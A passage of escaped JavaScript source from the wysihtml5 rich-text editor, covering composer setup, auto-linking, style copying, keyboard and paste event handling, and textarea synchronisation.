typeof(this.config.placeholder) === \"string\"\n        ? this.config.placeholder\n        : ((this.config.noTextarea) ? this.editableArea.getAttribute(\"data-placeholder\") : this.textarea.element.getAttribute(\"placeholder\"));\n      if (placeholderText) {\n        dom.simulatePlaceholder(this.parent, this, placeholderText);\n      }\n\n      // Make sure that the browser avoids using inline styles whenever possible\n      this.commands.exec(\"styleWithCSS\", false);\n\n      this._initAutoLinking();\n      this._initObjectResizing();\n      this._initUndoManager();\n      this._initLineBreaking();\n\n      // Simulate html5 autofocus on contentEditable element\n      // This doesn't work on IOS (5.1.1)\n      if (!this.config.noTextarea && (this.textarea.element.hasAttribute(\"autofocus\") || document.querySelector(\":focus\") == this.textarea.element) && !browser.isIos()) {\n        setTimeout(function() { that.focus(true); }, 100);\n      }\n\n      // IE sometimes leaves a single paragraph, which can't be removed by the user\n      if (!browser.clearsContentEditableCorrectly()) {\n        wysihtml5.quirks.ensureProperClearing(this);\n      }\n\n      // Set up a sync that makes sure that textarea and editor have the same content\n      if (this.initSync && this.config.sync) {\n        this.initSync();\n      }\n\n      // Okay hide the textarea, we are ready to go\n      if (!this.config.noTextarea) { this.textarea.hide(); }\n\n      // Fire global (before-)load event\n      this.parent.fire(\"beforeload\").fire(\"load\");\n    },\n\n    _initAutoLinking: function() {\n      var that                           = this,\n          supportsDisablingOfAutoLinking = browser.canDisableAutoLinking(),\n          supportsAutoLinking            = browser.doesAutoLinkingInContentEditable();\n      if (supportsDisablingOfAutoLinking) {\n        this.commands.exec(\"autoUrlDetect\", false);\n      }\n\n      if (!this.config.autoLink) {\n        return;\n      }\n\n      // Only do the auto linking by ourselves when the browser doesn't support auto linking\n      // OR when he supports auto linking but we were able to turn it off (IE9+)\n      if (!supportsAutoLinking || (supportsAutoLinking && supportsDisablingOfAutoLinking)) {\n        this.parent.on(\"newword:composer\", function() {\n          if (dom.getTextContent(that.element).match(dom.autoLink.URL_REG_EXP)) {\n            that.selection.executeAndRestore(function(startContainer, endContainer) {\n              var uneditables = that.element.querySelectorAll(\".\" + that.config.uneditableContainerClassname),\n                  isInUneditable = false;\n\n              for (var i = uneditables.length; i--;) {\n                if (wysihtml5.dom.contains(uneditables[i], endContainer)) {\n                  isInUneditable = true;\n                }\n              }\n\n              if (!isInUneditable) dom.autoLink(endContainer.parentNode, [that.config.uneditableContainerClassname]);\n            });\n          }\n        });\n\n        dom.observe(this.element, \"blur\", function() {\n          dom.autoLink(that.element, [that.config.uneditableContainerClassname]);\n        });\n      }\n\n      // Assuming we have the following:\n      //  <a href=\"http://www.google.de\">http://www.google.de</a>\n      // If a user now changes the url in the innerHTML we want to make sure that\n      // it's synchronized with the href attribute (as long as the innerHTML is still a url)\n      var // Use a live NodeList to check whether there are any links in the document\n          links           = this.sandbox.getDocument().getElementsByTagName(\"a\"),\n          // The autoLink helper method reveals a reg exp to detect correct urls\n          urlRegExp       = dom.autoLink.URL_REG_EXP,\n          getTextContent  = function(element) {\n            var textContent = wysihtml5.lang.string(dom.getTextContent(element)).trim();\n            if (textContent.substr(0, 4) === \"www.\") {\n              textContent = \"http://\" + textContent;\n            }\n            return textContent;\n          };\n\n      dom.observe(this.element, \"keydown\", function(event) {\n        if (!links.length) {\n          return;\n        }\n\n        var selectedNode = that.selection.getSelectedNode(event.target.ownerDocument),\n            link         = dom.getParentElement(selectedNode, { nodeName: \"A\" }, 4),\n            textContent;\n\n        if (!link) {\n          return;\n        }\n\n        textContent = getTextContent(link);\n        // keydown is fired before the actual content is changed\n        // therefore we set a timeout to change the href\n        setTimeout(function() {\n          var newTextContent = getTextContent(link);\n          if (newTextContent === textContent) {\n            return;\n          }\n\n          // Only set href when new href looks like a valid url\n          if (newTextContent.match(urlRegExp)) {\n            link.setAttribute(\"href\", newTextContent);\n          }\n        }, 0);\n      });\n    },\n\n    _initObjectResizing: function() {\n      this.commands.exec(\"enableObjectResizing\", true);\n\n      // IE sets inline styles after resizing objects\n      // The following lines make sure that the width/height css properties\n      // are copied over to the width/height attributes\n      if (browser.supportsEvent(\"resizeend\")) {\n        var properties        = [\"width\", \"height\"],\n            propertiesLength  = properties.length,\n            element           = this.element;\n\n        dom.observe(element, \"resizeend\", function(event) {\n          var target = event.target || event.srcElement,\n              style  = target.style,\n              i      = 0,\n              property;\n\n          if (target.nodeName !== \"IMG\") {\n            return;\n          }\n\n          for (; i<propertiesLength; i++) {\n            property = properties[i];\n            if (style[property]) {\n              target.setAttribute(property, parseInt(style[property], 10));\n              style[property] = \"\";\n            }\n          }\n\n          // After resizing IE sometimes forgets to remove the old resize handles\n          wysihtml5.quirks.redraw(element);\n        });\n      }\n    },\n\n    _initUndoManager: function() {\n      this.undoManager = new wysihtml5.UndoManager(this.parent);\n    },\n\n    _initLineBreaking: function() {\n      var that                              = this,\n          USE_NATIVE_LINE_BREAK_INSIDE_TAGS = [\"LI\", \"P\", \"H1\", \"H2\", \"H3\", \"H4\", \"H5\", \"H6\"],\n          LIST_TAGS                         = [\"UL\", \"OL\", \"MENU\"];\n\n      function adjust(selectedNode) {\n        var parentElement = dom.getParentElement(selectedNode, { nodeName: [\"P\", \"DIV\"] }, 2);\n        if (parentElement && dom.contains(that.element, parentElement)) {\n          that.selection.executeAndRestore(function() {\n            if (that.config.useLineBreaks) {\n              dom.replaceWithChildNodes(parentElement);\n            } else if (parentElement.nodeName !== \"P\") {\n              dom.renameElement(parentElement, \"p\");\n            }\n          });\n        }\n      }\n\n      if (!this.config.useLineBreaks) {\n        dom.observe(this.element, [\"focus\", \"keydown\"], function() {\n          if (that.isEmpty()) {\n            var paragraph = that.doc.createElement(\"P\");\n            that.element.innerHTML = \"\";\n            that.element.appendChild(paragraph);\n            if (!browser.displaysCaretInEmptyContentEditableCorrectly()) {\n              paragraph.innerHTML = \"<br>\";\n              that.selection.setBefore(paragraph.firstChild);\n            } else {\n              that.selection.selectNode(paragraph, true);\n            }\n          }\n        });\n      }\n\n      // Under certain circumstances Chrome + Safari create nested <p> or <hX> tags after paste\n      // Inserting an invisible white space in front of it fixes the issue\n      // This is too hacky and causes selection not to replace content on paste in chrome\n     /* if (browser.createsNestedInvalidMarkupAfterPaste()) {\n        dom.observe(this.element, \"paste\", function(event) {\n          var invisibleSpace = that.doc.createTextNode(wysihtml5.INVISIBLE_SPACE);\n          that.selection.insertNode(invisibleSpace);\n        });\n      }*/\n\n\n      dom.observe(this.element, \"keydown\", function(event) {\n        var keyCode = event.keyCode;\n\n        if (event.shiftKey) {\n          return;\n        }\n\n        if (keyCode !== wysihtml5.ENTER_KEY && keyCode !== wysihtml5.BACKSPACE_KEY) {\n          return;\n        }\n        var blockElement = dom.getParentElement(that.selection.getSelectedNode(), { nodeName: USE_NATIVE_LINE_BREAK_INSIDE_TAGS }, 4);\n        if (blockElement) {\n          setTimeout(function() {\n            // Unwrap paragraph after leaving a list or a H1-6\n            var selectedNode = that.selection.getSelectedNode(),\n                list;\n\n            if (blockElement.nodeName === \"LI\") {\n              if (!selectedNode) {\n                return;\n              }\n\n              list = dom.getParentElement(selectedNode, { nodeName: LIST_TAGS }, 2);\n\n              if (!list) {\n                adjust(selectedNode);\n              }\n            }\n\n            if (keyCode === wysihtml5.ENTER_KEY && blockElement.nodeName.match(/^H[1-6]$/)) {\n              adjust(selectedNode);\n            }\n          }, 0);\n          return;\n        }\n\n        if (that.config.useLineBreaks && keyCode === wysihtml5.ENTER_KEY && !wysihtml5.browser.insertsLineBreaksOnReturn()) {\n          event.preventDefault();\n          that.commands.exec(\"insertLineBreak\");\n\n        }\n      });\n    }\n  });\n})(wysihtml5);\n;(function(wysihtml5) {\n  var dom             = wysihtml5.dom,\n      doc             = document,\n      win             = window,\n      HOST_TEMPLATE   = doc.createElement(\"div\"),\n      /**\n       * Styles to copy from textarea to the composer element\n       */\n      TEXT_FORMATTING = [\n        \"background-color\",\n        \"color\", \"cursor\",\n        \"font-family\", \"font-size\", \"font-style\", \"font-variant\", \"font-weight\",\n        \"line-height\", \"letter-spacing\",\n        \"text-align\", \"text-decoration\", \"text-indent\", \"text-rendering\",\n        \"word-break\", \"word-wrap\", \"word-spacing\"\n      ],\n      /**\n       * Styles to copy from textarea to the iframe\n       */\n      BOX_FORMATTING = [\n        \"background-color\",\n        \"border-collapse\",\n        \"border-bottom-color\", \"border-bottom-style\", \"border-bottom-width\",\n        \"border-left-color\", \"border-left-style\", \"border-left-width\",\n        \"border-right-color\", \"border-right-style\", \"border-right-width\",\n        \"border-top-color\", \"border-top-style\", \"border-top-width\",\n        \"clear\", \"display\", \"float\",\n        \"margin-bottom\", \"margin-left\", \"margin-right\", \"margin-top\",\n        \"outline-color\", \"outline-offset\", \"outline-width\", \"outline-style\",\n        \"padding-left\", \"padding-right\", \"padding-top\", \"padding-bottom\",\n        \"position\", \"top\", \"left\", \"right\", \"bottom\", \"z-index\",\n        \"vertical-align\", \"text-align\",\n        \"-webkit-box-sizing\", \"-moz-box-sizing\", \"-ms-box-sizing\", \"box-sizing\",\n        \"-webkit-box-shadow\", \"-moz-box-shadow\", \"-ms-box-shadow\",\"box-shadow\",\n        \"-webkit-border-top-right-radius\", \"-moz-border-radius-topright\", \"border-top-right-radius\",\n        \"-webkit-border-bottom-right-radius\", \"-moz-border-radius-bottomright\", \"border-bottom-right-radius\",\n        \"-webkit-border-bottom-left-radius\", \"-moz-border-radius-bottomleft\", \"border-bottom-left-radius\",\n        \"-webkit-border-top-left-radius\", \"-moz-border-radius-topleft\", \"border-top-left-radius\",\n        \"width\", \"height\"\n      ],\n      ADDITIONAL_CSS_RULES = [\n        \"html                 { height: 100%; }\",\n        \"body                 { height: 100%; padding: 1px 0 0 0; margin: -1px 0 0 0; }\",\n        \"body > p:first-child { margin-top: 0; }\",\n        \"._wysihtml5-temp     { display: none; }\",\n        wysihtml5.browser.isGecko ?\n          \"body.placeholder { color: graytext !important; }\" :\n          \"body.placeholder { color: #a9a9a9 !important; }\",\n        // Ensure that user see's broken images and can delete them\n        \"img:-moz-broken      { -moz-force-broken-image-icon: 1; height: 24px; width: 24px; }\"\n      ];\n\n  /**\n   * With \"setActive\" IE offers a smart way of focusing elements without scrolling them into view:\n   * http://msdn.microsoft.com/en-us/library/ms536738(v=vs.85).aspx\n   *\n   * Other browsers need a more hacky way: (pssst don't tell my mama)\n   * In order to prevent the element being scrolled into view when focusing it, we simply\n   * move it out of the scrollable area, focus it, and reset it's position\n   */\n  var focusWithoutScrolling = function(element) {\n    if (element.setActive) {\n      // Following line could cause a js error when the textarea is invisible\n      // See https://github.com/xing/wysihtml5/issues/9\n      try { element.setActive(); } catch(e) {}\n    } else {\n      var elementStyle = element.style,\n          originalScrollTop = doc.documentElement.scrollTop || doc.body.scrollTop,\n          originalScrollLeft = doc.documentElement.scrollLeft || doc.body.scrollLeft,\n          originalStyles = {\n            position:         elementStyle.position,\n            top:              elementStyle.top,\n            left:             elementStyle.left,\n            WebkitUserSelect: elementStyle.WebkitUserSelect\n          };\n\n      dom.setStyles({\n        position:         \"absolute\",\n        top:              \"-99999px\",\n        left:             \"-99999px\",\n        // Don't ask why but temporarily setting -webkit-user-select to none makes the whole thing performing smoother\n        WebkitUserSelect: \"none\"\n      }).on(element);\n\n      element.focus();\n\n      dom.setStyles(originalStyles).on(element);\n\n      if (win.scrollTo) {\n        // Some browser extensions unset this method to prevent annoyances\n        // \"Better PopUp Blocker\" for Chrome http://code.google.com/p/betterpopupblocker/source/browse/trunk/blockStart.js#100\n        // Issue: http://code.google.com/p/betterpopupblocker/issues/detail?id=1\n        win.scrollTo(originalScrollLeft, originalScrollTop);\n      }\n    }\n  };\n\n\n  wysihtml5.views.Composer.prototype.style = function() {\n    var that                  = this,\n        originalActiveElement = doc.querySelector(\":focus\"),\n        textareaElement       = this.textarea.element,\n        hasPlaceholder        = textareaElement.hasAttribute(\"placeholder\"),\n        originalPlaceholder   = hasPlaceholder && textareaElement.getAttribute(\"placeholder\"),\n        originalDisplayValue  = textareaElement.style.display,\n        originalDisabled      = textareaElement.disabled,\n        displayValueForCopying;\n\n    this.focusStylesHost      = HOST_TEMPLATE.cloneNode(false);\n    this.blurStylesHost       = HOST_TEMPLATE.cloneNode(false);\n    this.disabledStylesHost   = HOST_TEMPLATE.cloneNode(false);\n\n    // Remove placeholder before copying (as the placeholder has an affect on the computed style)\n    if (hasPlaceholder) {\n      textareaElement.removeAttribute(\"placeholder\");\n    }\n\n    if (textareaElement === originalActiveElement) {\n      textareaElement.blur();\n    }\n\n    // enable for copying styles\n    textareaElement.disabled = false;\n\n    // set textarea to display=\"none\" to get cascaded styles via getComputedStyle\n    textareaElement.style.display = displayValueForCopying = \"none\";\n\n    if ((textareaElement.getAttribute(\"rows\") && dom.getStyle(\"height\").from(textareaElement) === \"auto\") ||\n        (textareaElement.getAttribute(\"cols\") && dom.getStyle(\"width\").from(textareaElement) === \"auto\")) {\n      textareaElement.style.display = displayValueForCopying = originalDisplayValue;\n    }\n\n    // --------- iframe styles (has to be set before editor styles, otherwise IE9 sets wrong fontFamily on blurStylesHost) ---------\n    dom.copyStyles(BOX_FORMATTING).from(textareaElement).to(this.editableArea).andTo(this.blurStylesHost);\n\n    // --------- editor styles ---------\n    dom.copyStyles(TEXT_FORMATTING).from(textareaElement).to(this.element).andTo(this.blurStylesHost);\n\n    // --------- apply standard rules ---------\n    dom.insertCSS(ADDITIONAL_CSS_RULES).into(this.element.ownerDocument);\n\n    // --------- :disabled styles ---------\n    textareaElement.disabled = true;\n    dom.copyStyles(BOX_FORMATTING).from(textareaElement).to(this.disabledStylesHost);\n    dom.copyStyles(TEXT_FORMATTING).from(textareaElement).to(this.disabledStylesHost);\n    textareaElement.disabled = originalDisabled;\n\n    // --------- :focus styles ---------\n    textareaElement.style.display = originalDisplayValue;\n    focusWithoutScrolling(textareaElement);\n    textareaElement.style.display = displayValueForCopying;\n\n    dom.copyStyles(BOX_FORMATTING).from(textareaElement).to(this.focusStylesHost);\n    dom.copyStyles(TEXT_FORMATTING).from(textareaElement).to(this.focusStylesHost);\n\n    // reset textarea\n    textareaElement.style.display = originalDisplayValue;\n\n    dom.copyStyles([\"display\"]).from(textareaElement).to(this.editableArea);\n\n    // Make sure that we don't change the display style of the iframe when copying styles oblur/onfocus\n    // this is needed for when the change_view event is fired where the iframe is hidden and then\n    // the blur event fires and re-displays it\n    var boxFormattingStyles = wysihtml5.lang.array(BOX_FORMATTING).without([\"display\"]);\n\n    // --------- restore focus ---------\n    if (originalActiveElement) {\n      originalActiveElement.focus();\n    } else {\n      textareaElement.blur();\n    }\n\n    // --------- restore placeholder ---------\n    if (hasPlaceholder) {\n      textareaElement.setAttribute(\"placeholder\", originalPlaceholder);\n    }\n\n    // --------- Sync focus/blur styles ---------\n    this.parent.on(\"focus:composer\", function() {\n      dom.copyStyles(boxFormattingStyles) .from(that.focusStylesHost).to(that.editableArea);\n      dom.copyStyles(TEXT_FORMATTING)     .from(that.focusStylesHost).to(that.element);\n    });\n\n    this.parent.on(\"blur:composer\", function() {\n      dom.copyStyles(boxFormattingStyles) .from(that.blurStylesHost).to(that.editableArea);\n      dom.copyStyles(TEXT_FORMATTING)     .from(that.blurStylesHost).to(that.element);\n    });\n\n    this.parent.observe(\"disable:composer\", function() {\n      dom.copyStyles(boxFormattingStyles) .from(that.disabledStylesHost).to(that.editableArea);\n      dom.copyStyles(TEXT_FORMATTING)     .from(that.disabledStylesHost).to(that.element);\n    });\n\n    this.parent.observe(\"enable:composer\", function() {\n      dom.copyStyles(boxFormattingStyles) .from(that.blurStylesHost).to(that.editableArea);\n      dom.copyStyles(TEXT_FORMATTING)     .from(that.blurStylesHost).to(that.element);\n    });\n\n    return this;\n  };\n})(wysihtml5);\n;/**\n * Taking care of events\n *  - Simulating 'change' event on contentEditable element\n *  - Handling drag & drop logic\n *  - Catch paste events\n *  - Dispatch proprietary newword:composer event\n *  - Keyboard shortcuts\n */\n(function(wysihtml5) {\n  var dom       = wysihtml5.dom,\n      browser   = wysihtml5.browser,\n      /**\n       * Map keyCodes to query commands\n       */\n      shortcuts = {\n        \"66\": \"bold\",     // B\n        \"73\": \"italic\",   // I\n        \"85\": \"underline\" // U\n      };\n\n  var deleteAroundEditable = function(selection, uneditable, element) {\n    // merge node with previous node from uneditable\n    var prevNode = selection.getPreviousNode(uneditable, true),\n        curNode = selection.getSelectedNode();\n\n    if (curNode.nodeType !== 1 && curNode.parentNode !== element) { curNode = curNode.parentNode; }\n    if (prevNode) {\n      if (curNode.nodeType == 1) {\n        var first = curNode.firstChild;\n\n        if (prevNode.nodeType == 1) {\n          while (curNode.firstChild) {\n            prevNode.appendChild(curNode.firstChild);\n          }\n        } else {\n          while (curNode.firstChild) {\n            uneditable.parentNode.insertBefore(curNode.firstChild, uneditable);\n          }\n        }\n        if (curNode.parentNode) {\n          curNode.parentNode.removeChild(curNode);\n        }\n        selection.setBefore(first);\n      } else {\n        if (prevNode.nodeType == 1) {\n          prevNode.appendChild(curNode);\n        } else {\n          uneditable.parentNode.insertBefore(curNode, uneditable);\n        }\n        selection.setBefore(curNode);\n      }\n    }\n  };\n\n  var handleDeleteKeyPress = function(event, selection, element, composer) {\n    if (selection.isCollapsed()) {\n      if (selection.caretIsInTheBeginnig('LI')) {\n        event.preventDefault();\n        composer.commands.exec('outdentList');\n      } else if (selection.caretIsInTheBeginnig()) {\n        event.preventDefault();\n      } else {\n\n        if (selection.caretIsFirstInSelection() &&\n            selection.getPreviousNode() &&\n            selection.getPreviousNode().nodeName &&\n            (/^H\\d$/gi).test(selection.getPreviousNode().nodeName)\n        ) {\n          var prevNode = selection.getPreviousNode();\n          event.preventDefault();\n          if ((/^\\s*$/).test(prevNode.textContent || prevNode.innerText)) {\n            // heading is empty\n            prevNode.parentNode.removeChild(prevNode);\n          } else {\n            var range = prevNode.ownerDocument.createRange();\n            range.selectNodeContents(prevNode);\n            range.collapse(false);\n            selection.setSelection(range);\n          }\n        }\n\n        var beforeUneditable = selection.caretIsBeforeUneditable();\n        // Do a special delete if caret would delete uneditable\n        if (beforeUneditable) {\n          event.preventDefault();\n          deleteAroundEditable(selection, beforeUneditable, element);\n        }\n      }\n    } else {\n      if (selection.containsUneditable()) {\n        event.preventDefault();\n        selection.deleteContents();\n      }\n    }\n  };\n\n  var handleTabKeyDown = function(composer, element) {\n    if (!composer.selection.isCollapsed()) {\n      composer.selection.deleteContents();\n    } else if (composer.selection.caretIsInTheBeginnig('LI')) {\n      if (composer.commands.exec('indentList')) return;\n    }\n\n    // Is &emsp; close enough to tab. Could not find enough counter arguments for now.\n    composer.commands.exec(\"insertHTML\", \"&emsp;\");\n  };\n\n  wysihtml5.views.Composer.prototype.observe = function() {\n    var that                = this,\n        state               = this.getValue(false, false),\n        container           = (this.sandbox.getIframe) ? this.sandbox.getIframe() : this.sandbox.getContentEditable(),\n        element             = this.element,\n        focusBlurElement    = (browser.supportsEventsInIframeCorrectly() || this.sandbox.getContentEditable) ? element : this.sandbox.getWindow(),\n        pasteEvents         = [\"drop\", \"paste\", \"beforepaste\"],\n        interactionEvents   = [\"drop\", \"paste\", \"mouseup\", \"focus\", \"keyup\"];\n\n    // --------- destroy:composer event ---------\n    dom.observe(container, \"DOMNodeRemoved\", function() {\n      clearInterval(domNodeRemovedInterval);\n      that.parent.fire(\"destroy:composer\");\n    });\n\n    // DOMNodeRemoved event is not supported in IE 8\n    if (!browser.supportsMutationEvents()) {\n        var domNodeRemovedInterval = setInterval(function() {\n          if (!dom.contains(document.documentElement, container)) {\n            clearInterval(domNodeRemovedInterval);\n            that.parent.fire(\"destroy:composer\");\n          }\n        }, 250);\n    }\n\n    // --------- User interaction tracking --\n\n    dom.observe(focusBlurElement, interactionEvents, function() {\n      setTimeout(function() {\n        that.parent.fire(\"interaction\").fire(\"interaction:composer\");\n      }, 0);\n    });\n\n\n    if (this.config.handleTables) {\n      if(!this.tableClickHandle && this.doc.execCommand && wysihtml5.browser.supportsCommand(this.doc, \"enableObjectResizing\") && wysihtml5.browser.supportsCommand(this.doc, \"enableInlineTableEditing\")) {\n        if (this.sandbox.getIframe) {\n          this.tableClickHandle = dom.observe(container , [\"focus\", \"mouseup\", \"mouseover\"], function() {\n            that.doc.execCommand(\"enableObjectResizing\", false, \"false\");\n            that.doc.execCommand(\"enableInlineTableEditing\", false, \"false\");\n            that.tableClickHandle.stop();\n          });\n        } else {\n          setTimeout(function() {\n            that.doc.execCommand(\"enableObjectResizing\", false, \"false\");\n            that.doc.execCommand(\"enableInlineTableEditing\", false, \"false\");\n          }, 0);\n        }\n      }\n      this.tableSelection = wysihtml5.quirks.tableCellsSelection(element, that.parent);\n    }\n\n    // --------- Focus & blur logic ---------\n    dom.observe(focusBlurElement, \"focus\", function(event) {\n      that.parent.fire(\"focus\", event).fire(\"focus:composer\", event);\n\n      // Delay storing of state until all focus handler are fired\n      // especially the one which resets the placeholder\n      setTimeout(function() { state = that.getValue(false, false); }, 0);\n    });\n\n    dom.observe(focusBlurElement, \"blur\", function(event) {\n      if (state !== that.getValue(false, false)) {\n        //create change event if supported (all except IE8)\n        var changeevent = event;\n        if(typeof Object.create == 'function') {\n          changeevent = Object.create(event, { type: { value: 'change' } });\n        }\n        that.parent.fire(\"change\", changeevent).fire(\"change:composer\", changeevent);\n      }\n      that.parent.fire(\"blur\", event).fire(\"blur:composer\", event);\n    });\n\n    // --------- Drag & Drop logic ---------\n    dom.observe(element, \"dragenter\", function() {\n      that.parent.fire(\"unset_placeholder\");\n    });\n\n    dom.observe(element, pasteEvents, function(event) {\n      that.parent.fire(event.type, event).fire(event.type + \":composer\", event);\n    });\n\n\n    if (this.config.copyedFromMarking) {\n      // If supported the copied source is based directly on selection\n      // Very useful for webkit based browsers where copy will otherwise contain a lot of code and styles based on whatever and not actually in selection.\n      dom.observe(element, \"copy\", function(event) {\n        if (event.clipboardData) {\n          event.clipboardData.setData(\"text/html\", that.config.copyedFromMarking + that.selection.getHtml());\n          event.preventDefault();\n        }\n        that.parent.fire(event.type, event).fire(event.type + \":composer\", event);\n      });\n    }\n\n    // --------- neword event ---------\n    dom.observe(element, \"keyup\", function(event) {\n      var keyCode = event.keyCode;\n      if (keyCode === wysihtml5.SPACE_KEY || keyCode === wysihtml5.ENTER_KEY) {\n        that.parent.fire(\"newword:composer\");\n      }\n    });\n\n    this.parent.on(\"paste:composer\", function() {\n      setTimeout(function() { that.parent.fire(\"newword:composer\"); }, 0);\n    });\n\n    // --------- Make sure that images are selected when clicking on them ---------\n    if (!browser.canSelectImagesInContentEditable()) {\n      dom.observe(element, \"mousedown\", function(event) {\n        var target = event.target;\n        var allImages = element.querySelectorAll('img'),\n            notMyImages = element.querySelectorAll('.' + that.config.uneditableContainerClassname + ' img'),\n            myImages = wysihtml5.lang.array(allImages).without(notMyImages);\n\n        if (target.nodeName === \"IMG\" && wysihtml5.lang.array(myImages).contains(target)) {\n          that.selection.selectNode(target);\n        }\n      });\n    }\n\n    if (!browser.canSelectImagesInContentEditable()) {\n        dom.observe(element, \"drop\", function(event) {\n            // TODO: if I knew how to get dropped elements list from event I could limit it to only IMG element case\n            setTimeout(function() {\n                that.selection.getSelection().removeAllRanges();\n            }, 0);\n        });\n    }\n\n    if (browser.hasHistoryIssue() && browser.supportsSelectionModify()) {\n      dom.observe(element, \"keydown\", function(event) {\n        if (!event.metaKey && !event.ctrlKey) {\n          return;\n        }\n\n        var keyCode   = event.keyCode,\n            win       = element.ownerDocument.defaultView,\n            selection = win.getSelection();\n\n        if (keyCode === 37 || keyCode === 39) {\n          if (keyCode === 37) {\n            selection.modify(\"extend\", \"left\", \"lineboundary\");\n            if (!event.shiftKey) {\n              selection.collapseToStart();\n            }\n          }\n          if (keyCode === 39) {\n            selection.modify(\"extend\", \"right\", \"lineboundary\");\n            if (!event.shiftKey) {\n              selection.collapseToEnd();\n            }\n          }\n          event.preventDefault();\n        }\n      });\n    }\n\n    // --------- Shortcut logic ---------\n    dom.observe(element, \"keydown\", function(event) {\n      var keyCode  = event.keyCode,\n          command  = shortcuts[keyCode];\n      if ((event.ctrlKey || event.metaKey) && !event.altKey && command) {\n        that.commands.exec(command);\n        event.preventDefault();\n      }\n      if (keyCode === 8) {\n        // delete key\n        handleDeleteKeyPress(event, that.selection, element, that);\n      } else if (that.config.handleTabKey && keyCode === 9) {\n        event.preventDefault();\n        handleTabKeyDown(that, element);\n      }\n    });\n\n    // --------- Make sure that when pressing backspace/delete on selected images deletes the image and it's anchor ---------\n    dom.observe(element, \"keydown\", function(event) {\n      var target  = that.selection.getSelectedNode(true),\n          keyCode = event.keyCode,\n          parent;\n      if (target && target.nodeName === \"IMG\" && (keyCode === wysihtml5.BACKSPACE_KEY || keyCode === wysihtml5.DELETE_KEY)) { // 8 => backspace, 46 => delete\n        parent = target.parentNode;\n        // delete the <img>\n        parent.removeChild(target);\n        // and it's parent <a> too if it hasn't got any other child nodes\n        if (parent.nodeName === \"A\" && !parent.firstChild) {\n          parent.parentNode.removeChild(parent);\n        }\n\n        setTimeout(function() { wysihtml5.quirks.redraw(element); }, 0);\n        event.preventDefault();\n      }\n    });\n\n    // --------- IE 8+9 focus the editor when the iframe is clicked (without actually firing the 'focus' event on the <body>) ---------\n    if (!this.config.contentEditableMode && browser.hasIframeFocusIssue()) {\n      dom.observe(container, \"focus\", function() {\n        setTimeout(function() {\n          if (that.doc.querySelector(\":focus\") !== that.element) {\n            that.focus();\n          }\n        }, 0);\n      });\n\n      dom.observe(this.element, \"blur\", function() {\n        setTimeout(function() {\n          that.selection.getSelection().removeAllRanges();\n        }, 0);\n      });\n    }\n\n    // --------- Show url in tooltip when hovering links or images ---------\n    var titlePrefixes = {\n      IMG: \"Image: \",\n      A:   \"Link: \"\n    };\n\n    dom.observe(element, \"mouseover\", function(event) {\n      var target   = event.target,\n          nodeName = target.nodeName,\n          title;\n      if (nodeName !== \"A\" && nodeName !== \"IMG\") {\n        return;\n      }\n      var hasTitle = target.hasAttribute(\"title\");\n      if(!hasTitle){\n        title = titlePrefixes[nodeName] + (target.getAttribute(\"href\") || target.getAttribute(\"src\"));\n        target.setAttribute(\"title\", title);\n      }\n    });\n  };\n})(wysihtml5);\n;/**\n * Class that takes care that the value of the composer and the textarea is always in sync\n */\n(function(wysihtml5) {\n  var INTERVAL = 400;\n\n  wysihtml5.views.Synchronizer = Base.extend(\n    /** @scope wysihtml5.views.Synchronizer.prototype */ {\n\n    constructor: function(editor, textarea, composer) {\n      this.editor   = editor;\n      this.textarea = textarea;\n      this.composer = composer;\n\n      this._observe();\n    },\n\n    /**\n     * Sync html from composer to textarea\n     * Takes care of placeholders\n     * @param {Boolean} shouldParseHtml Whether the html should be sanitized before inserting it into the textarea\n     */\n    fromComposerToTextarea: function(shouldParseHtml) {\n      this.textarea.setValue(wysihtml5.lang.string(this.composer.getValue(false, false)).trim(), shouldParseHtml);\n    },\n\n    /**\n     * Sync value of textarea to composer\n     * Takes care of placeholders\n     * @param {Boolean} shouldParseHtml Whether the html should be sanitized before inserting it into the composer\n     */\n    fromTextareaToComposer: function(shouldParseHtml) {\n      var textareaValue = this.textarea.getValue(false, false);\n      if (textareaValue) {\n        this.composer.setValue(textareaValue, shouldParseHtml);\n      } else {\n        this.composer.clear();\n        this.editor.fire(\"set_placeholder\");\n      }\n    },\n\n    /**\n     * Invoke syncing based on view state\n     * @param {Boolean} shouldParseHtml Whether the html should be sanitized before inserting it into the composer/textarea\n     */\n    sync: function(shouldParseHtml) {\n      if (this.editor.currentView.name === \"textarea\") {\n        this.fromTextareaToComposer(shouldParseHtml);\n      } else {\n        this.fromComposerToTextarea(shouldParseHtml);\n      }\n    },\n\n    /**\n     * Initializes interval-based syncing\n     * also makes sure that on-submit the composer's content is synced with the textarea\n     * immediately when the form gets submitted\n     */\n    _observe: function() {\n      var interval,\n          that          = this,\n          form          = this.textarea.element.form,\n          startInterval = function() {\n            interval = setInterval(function() { that.fromComposerToTextarea(); }, INTERVAL);\n          },\n          stopInterval  = function() {\n            clearInterval(interval);\n            interval = null;\n          };\n\n      startInterval();\n\n      if (form) {\n        // If the textarea is in a form make sure that after onreset and onsubmit the composer\n        // has the correct state\n        wysihtml5.dom.observe(form, \"submit\", function() {\n          that.sync(true);\n        });\n        wysihtml5.dom.observe(form, \"reset\", function() {\n          setTimeout(function() { that.fromTextareaToComposer(); }, 0);\n        });\n      }\n\n      this.editor.on(\"change_view\", function(view) {\n        if (view === \"composer\" && !interval) {\n          that.fromTextareaToComposer(true);\n          startInterval();\n        } else if (view === \"textarea\") {\n          that.fromComposerToTextarea(true);\n          stopInterval();\n        }\n      });\n\n      this.editor.on(\"destroy:composer\", stopInterval);\n    }\n  });\n})(wysihtml5);\n;wysihtml5.views.Textarea = wysihtml5.views.View.extend(\n  /** @scope wysihtml5.views.Textarea.prototype */ {\n  name: \"textarea\",\n\n  constructor: function(parent, textareaElement, config) {\n    this.base(parent, textareaElement, config);\n\n    this._observe();\n  },\n\n  clear: function() {\n    this.element.value = \"\";\n  },\n\n  getValue: function(parse) {\n    var value = this.isEmpty() ? \"\" : this.element.value;\n    if (parse !== false) {\n      value = this.parent.parse(value);\n    }\n    return value;\n  },\n\n  setValue: function(html, parse) {\n    if (parse) {\n      html = this.parent.parse(html);\n    }\n    this.element.value = html;\n  },\n\n  cleanUp: function() {\n      var html = this.parent.parse(this.element.value);\n      this.element.value = html;\n  },\n\n  hasPlaceholderSet: function() {\n    var supportsPlaceholder = wysihtml5.browser.supportsPlaceholderAttributeOn(this.element),\n        placeholderText     = this.element.getAttribute(\"placeholder\") || null,\n        value               = this.element.value,\n        isEmpty             = !value;\n    return (supportsPlaceholder && isEmpty) || (value === placeholderText);\n  },\n\n  isEmpty: function() {\n    return !wysihtml5.lang.string(this.element.value).trim() || 